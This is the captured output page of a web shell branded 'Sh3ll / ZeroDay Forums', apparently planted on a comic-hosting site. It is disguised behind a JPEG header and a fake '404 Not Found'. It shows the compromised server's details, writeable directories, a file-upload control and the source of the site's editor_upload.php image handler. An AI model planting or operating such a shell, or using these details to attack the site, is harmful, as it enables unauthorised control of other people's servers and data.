ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/truyentranh/upload/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/truyentranh/upload/editor_upload.php
<?php
if($_FILES['file']){
    include '../lib/class.upload.php';
    define('ROOT_PATH', dirname(__FILE__) . '/');
    $url_img = '';
    $handle = new upload($_FILES['file']);
    if ($handle->uploaded) {
        $v_image_name = time().'_'.uniqid();
        $handle->allowed = array('image/*');
        $handle->file_new_name_body  = $v_image_name;
        $handle->file_max_size = '1000000';
        $handle->image_convert = 'png';

        $year_now = date('Y');
        $month_now = date('m');
        if(!is_dir("editor")){
            mkdir("editor", 0777);
        }
        if (is_dir("editor/" . $year_now)) {
            if (!is_dir("editor/" . $year_now . "/" . $month_now)) {
                mkdir("editor/" . $year_now . "/" . $month_now, 0777);
            }
        } else {
            mkdir("editor/" . $year_now, 0777);
            if (!is_dir("editor/" . $year_now . "/" . $month_now)) {
                mkdir("editor/" . $year_now . "/" . $month_now, 0777);
            }
        }
        $v_folder = $year_now . "/" . $month_now;
        $handle->process('editor/'.$v_folder.'/');

        if ($handle->processed) {
            $url_img = 'upload/editor/'.$v_folder.'/'.$v_image_name.'.png';
            $handle->clean();
        } else {
            $url_img = 'Ooops!  Your upload triggered the following error:  '.$_FILES['file']['error'];
            $handle->clean();

        }
    }
}
echo $url_img;
exit();
?>

ZeroDay Forums Mini